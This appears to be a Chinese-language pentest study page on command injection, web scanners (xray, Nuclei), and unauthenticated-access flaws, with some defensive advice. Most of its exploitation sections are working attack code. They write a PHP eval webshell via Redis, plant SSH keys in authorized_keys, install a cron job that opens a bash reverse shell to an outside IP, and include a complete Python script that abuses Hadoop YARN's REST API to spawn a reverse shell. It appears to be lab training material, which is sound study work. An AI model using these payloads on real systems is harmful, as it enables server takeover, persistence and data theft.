cmd1&cmd2:执行命令1和命令2

cmd2$(cmd) :echo $(whoami) 或者 $(touch test.sh; echo 'ls' > test.sh)
'cmd':用于执行特定命令,如 'whoami'

Bash/linux反弹shell

被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

[后续加强]

web漏洞扫描工具

  • XRAY
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 主动扫描
# 完整
xray.exe webscan --basic-crawler http://testphp.vulnweb.com/ --html-output vulnweb.com-1.html
# 简化
xray.exe ws --basic http://testphp.vulnweb.com/ --ho vulnweb.com-2.html

# 被动扫描
#开启监听
# 完整
xray.exe webscan --listen 127.0.0.1:7777 --html-output testphp.html
# 简化
xray.exe ws --listen 127.0.0.1:7777 --ho testphp.html
# 浏览器配置代理 HTTP 127.0.0.1 7777
# 浏览器访问待测站点,开启扫描

# 联合bp扫描
# bp配置(Settings -Network -Connections -Upstream Proxy Servers -Add) * 127.0.0.1 7777 None
# 若后续无需联动,将勾选取消即可,否则BurpSuite将无法进行抓包与正常访问网站
# 监听
xray.exe ws --listen 127.0.0.1:7777 --ho test.html

# 联合Rad
xray.exe ws --listen 127.0.0.1:7777 --ho proxy.html
rad -t http://testphp.vulnweb.com/ --http-proxy 127.0.0.1:7777
  • Goby

https://gobysec.net/features#扫描

https://gobysec.net/features#漏洞

UI界面,直接操作

  • Nuclei

更新漏洞模板

1
nuclei -update-templates

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
命令行cd目录nuclei.exe

//扫描单个目标
nuclei -u <url>
//扫描多个目标
nuclei -l <list.txt>
//指定模版扫描,可以是特定的模版文件或是路径
nuclei -u <url> -t <poc.yaml/poc_dir>
//扫描结果输出
nuclei -u <url> -o <results.txt>
nuclei -u <url> -o <results.json> -json -irr
//调试模版
nuclei -u <url> -debug -t <poc.yaml>

未授权访问漏洞

未授权访问漏洞通常指在系统、服务或应用程序中,由于配置不当或安全措施缺失,导致未经过身份验证或授权的用户能够访问敏感资源或执行关键操作。
这可能包括访问数据库、文件系统、管理界面或其他关键组件,从而引发数据泄露、服务中断或系统被恶意利用的风险。

常见未授权访问漏洞

未授权访问服务描述
Redis 是一个开源的内存数据结构存储系统,未授权访问可能导致数据泄露或代码执行。
Docker 是一个开源的应用容器引擎,配置不当可能导致容器被未授权访问。
MongoDB 是一个NoSQL数据库,未授权访问可能允许攻击者访问或修改数据库内容。
Jenkins 是一个持续集成工具,未授权访问可能导致构建过程被干扰或敏感信息泄露。
Memcached 是一个高性能的分布式内存缓存系统,未授权访问可能导致缓存数据泄露。
JBOSS 是一个开源的应用服务器,未授权访问可能导致服务器被控制。
VNC 是一个远程桌面协议,未授权访问可能导致攻击者远程控制目标系统。
ZooKeeper 是一个分布式协调服务,未授权访问可能导致服务中断或数据不一致。
Rsync 是一个文件同步和传输工具,未授权访问可能导致数据泄露。
Atlassian Crowd 是一个身份和访问管理应用程序,未授权访问可能导致账户信息泄露。
CouchDB 是一个面向文档的NoSQL数据库,未授权访问可能导致数据泄露。
Elasticsearch 是一个基于Lucene的搜索引擎,未授权访问可能导致敏感数据被搜索和访问。
Hadoop 是一个开源的分布式存储和计算框架,未授权访问可能导致数据泄露或计算资源 被滥用。
Jupyter Notebook 是一个交互式计算笔记本,未授权访问可能导致代码执行或数据泄露。

防范

定期更新和打补丁:确保所有系统和应用程序都安装了最新的安全补丁。
强化配置管理:审查和更新配置文件,确保只有授权用户才能访问敏感资源。
使用强密码和多因素认证:增加账户安全性,防止密码被破解。
限制网络暴露:确保敏感服务不在公网上暴露,使用防火墙和网络安全组来限制访问。
监控和日志记录:实施监控系统以检测异常行为,并保留日志以便于事后分析。
安全审计和测试:定期进行安全审计和渗透测试,以发现和修复潜在的安全漏洞。

Redis未授权访问

漏洞发现

  • 端口
服务默认端口 默认端口
Redis 6379
MongoDB 27017
Memcached 11211
Jboss 8080
VNC 5900、5901
Docker 2375
  • 端口探测

nmap + TxPortMap.exe

1
2
3
4
5
6
7
8
9
nmap -v -Pn -p [port] -sV [IP]

-v:显示详细的扫描过程,包括扫描进度和统计信息。
-Pn:跳过主机发现阶段,直接进行端口扫描,假设目标主机是可达的。
-p [port]:指定要扫描的端口,可以是一个或多个端口号,例如-p 6379。
-sV:启用服务版本探测,尝试确定运行在开放端口上的应用程序及其版本号。
[IP]:目标IP地址。

TxPortMap.exe -i 471d973642fe.target.yijinglab.com -p 56802

漏洞利用

  • redis常用命令

windows: Another Redis Desktop Manager

Linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 连接到远程Redis服务器:
redis-cli -h [hostname] -p [port] -a [password]

[hostname]:Redis服务器的地址。
[port]:Redis服务监听的端口,默认为6379。
[password]:Redis服务器的密码。


set testkey "Hello World" # 设置键testkey的值为字符串"Hello World"
get testkey # 获取键testkey存储的字符串值
set score 99 # 设置键score的值为99
incr score # 使用INCR命令将score的值增加1
get score # 获取键score的内容
keys * # 列出当前数据库中所有的键


config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功


save # 进行一次备份操作,保存数据库到磁盘
flushall # 删除所有数据
del key # 删除键为key的数据
  • 利用方法

1.通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
2.通过redis数据备份功能写定时任务,通过定时任务反弹Shell
3.通过redis数据备份功能写SSH公钥,实现免密登录linux服务器

主从复制RCE

如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。Redis的主从复制功能允许从服务器同步主服务器的数据。然而,在Redis4.x及以后的版本中,引入的模块功能可能被滥用来实现远程代码执行(RCE):
1.模块功能滥用:攻击者通过上传恶意的Redis模块(.so文件),并利用Redis的MODULE LOAD命令加载该模块。
2.远程代码执行:加载的恶意模块可能包含用C语言编写的代码,该代码在Rdis服务器上执行,允许攻击者执行任意命令。

写webshell

1
2
3
4
5
6
7
8
9
redis-cli -h 471d973642fe.target.yijinglab.com -p 56802

config set dir /var/www/html

config set dbfilename shell.php

set x "<?php @eval($_POST['cmd']);?>"

save

写ssh私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 攻击机生成SSH公钥和私钥保存到 /root/.ssh/ 目录
ssh-keygen -q -t rsa -f /root/.ssh/id_rsa -N ''

# 在id_rsa.pub公钥内容前后加入换行符,保存到/tmp/foo.txt文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

# 读取/tmp/foo.txt文件内容,存入redis中
cat /tmp/foo.txt | redis-cli -h 471d973642fe.target.yijinglab.com -p 56802 -x set m
redis-cli -h 471d973642fe.target.yijinglab.com -p 56802
get m
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
ssh root@8063249facec.target.yijinglab.com -p 57181 -i ~/.ssh/id_rsa

写定时任务反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
# 写入定时任务
redis-cli -h 471d973642fe.target.yijinglab.com -p 56802

config set dir /var/spool/cron

config set dbfilename root

set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/124.71.45.28/4433 0>&1\n\n"

save
# nc监听端口,等待反弹shell
nc -lnvp 4433

主从复制RCE

1
2
3
# 脚本
cd RabR
python redis-attack.py -r target.yijinglab.com -p 52257 -L 8.134.220.192 --brute

Hadoop未授权访问

漏洞成因

Hadoop YARN(Yet Another Resource Negotiator)是Hadoop:生态系统中的集群资源管理器,负责协调集群中的计算资源和调度作业。然而,YARN的某些配置可能存在安全漏洞:
1.默认开放的REST API端口:YARN的REST API默认开放在8088和8090端口,如果未进行适当的访问控制,攻击者可以利用这些AP进行未授权访问。
2.配置不当:如果YARN的配置文件(如yarm-site.xml)未正确设置访问控制和认证机制,可能导致攻击者能够绕过安全措施。
3.权限过大:如果YARN的某些用户或服务被授予过高的权限,攻击者可能利用这些权限执行恶意操作。
4.服务漏洞:YARN的某些服务可能存在已知漏洞,攻击者可以利用这些漏洞进行攻击。

防范

1.限制API访问:应该限制对YARN REST AP的访问,只允许特定的IP地址或网络访问这些端口。
2.配置认证机制:启用YARN的认证机制,如Kerberos,确保所有请求都经过认证。
3.权限最小化:遵循最小权限原则,确保用户和服务只拥有完成其任务所需的最小权限。
4.更新和打补丁:定期检查并更新YARN及其依赖的软件,应用安全补丁以修复已知漏洞。
5.监控和审计:实施监控和审计机制,以便及时发现和响应可疑活动。

6.如无必要,关闭Hadoop Web管理页面。
7.开启身份验证,防止未经授权用户访问。
8.设置“安全组”访问控制策略,将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括8088以及WebUI等相关端口。

利用

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import json

# 漏洞目标 URL
target = 'http://192.168.81.127:8088/'
# 反弹Shell 攻击机IP地址
lhost = '192.168.81.238'

url = f'{target}ws/v1/cluster/apps/new-application'
resp = requests.post(url).content.decode('utf-8')
resp_json = json.loads(resp)

app_id = resp_json['application-id']
url = f'{target}ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {'command': f'/bin/bash -i >& /dev/tcp/{lhost}/5566 0>&1'}
},
'application-type': 'YARN',
}
requests.post(url, json=data)